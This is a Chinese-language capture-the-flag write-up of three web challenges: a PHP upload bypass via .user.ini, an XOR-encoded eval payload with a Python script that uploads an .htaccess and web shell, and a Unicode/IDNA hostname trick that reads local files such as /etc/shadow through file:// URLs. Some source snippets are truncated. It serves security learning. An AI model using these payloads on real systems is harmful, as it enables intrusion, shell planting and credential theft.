本次比赛还是太菜了,只写出了两道题。但是学习到了很多东西。
题目是一个文件上传,但是限制了很多地方,限制了文件类型,并且判断了文件上传的文件内容,这里是使用exif_image判断的。可以通过手动添加GIF89,也可以在文件头加上width和height
这里在前面添加
#define width 1337
#define height 1337
auto_prepend_file=2.jpg
首先先上传一个.user.ini文件
关于.user.ini参考这里.user.ini文件构成的PHP后门
后再上传个2.php文件。
访问生成的目录即可得到flag
首先得到源码。
18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
简单的代码审计下。
发现这个正则太变态了if ( preg_match('/[\x00- 0-9A-Za-z\'"\
~_&.,|=[\x7F]+/i’, $hhh) )`过滤了字母,数字,下划线以及其他的符号。
并且要通过eval去触发get_the_flag函数
首先我们先拜读这两篇文章
PHP不使用数字,字母和下划线写shell
ISITDTU CTF 2019 EasyPHP 回顾
首先了解下php中异或的概念
在PHP中两个变量进行异或时,会先将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCII值,再转换成字符串。
A的ASCII值是65,对应的二进制值是01000001
?的ASCII值是63,对应的二进制值是00111111
异或的二进制的值是10000000即为~
所以‘A’^'?'='~'
于是我们可以通过异或来绕过正则
但是我们怎么去触发函数呢?
发现可以这样去触发函数 ${_GET}{name}() ;& name = phpinfo
这里贴上师傅的脚本
于是?_=${%A0%A0%A0%A0^%FF%E7%E5%F4}{%A0}();&%A0=phpinfo
因为已经可以执行get_the_flag()函数。所以可以直接上传一句话木马。
贴上脚本
import requests
import base64
url = b'http://47.111.59.243:9001/?_=${%A0%A0%A0%A0^%FF%E7%E5%F4}{%A0}();&%A0=get_the_flag'
htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .we
php_value auto_append_file "php://filter/convert.base64-decode/resource=./w.we"
"""
shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"")
files = [('file',('.htaccess',htaccess,'application/octet-stream'))]
data = {"upload":"Submit"}
print("upload .htaccess")
r = requests.post(url=url, data=data, files=files)#proxies=proxies)
print(r.text)
print("upload w.we")
files = [('file',('w.we',shell,'application/octet-stream'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)
后使用蚁剑连接
但是这里有限制发现蚁剑根本无法访问www目录
于是查看phpinfo,发现启用了disable_function.
并且还限制了open_basedir
后绕过disable_function和open_basedir。任意文件读取即可
得到源码
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
听师傅们说这是blackhat的议题,详细见chrome-extension://cdonnmffkdaoajfknoeeecmchibpmkmg/static/pdf/web/viewer.html?file=https%3A%2F%2Fi.blackhat.com%2FUSA-19%2FThursday%2Fus-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
文中提到了
encode(‘idna’)是指转换为国际化域名
构造url绕过file://suctf.cℂ/etc/shadow
经过测试当suctf.cℂ时,即可绕过suctf.cc。
根据题中的提示,”Do you know the nginx?”
,直接读取nginx的文件。
file://suctf.cℂ/etc/shadow/usr/local/nginx/conf/nginx.conf
file://suctf.cℂ/etc/shadow/usr/fffffflag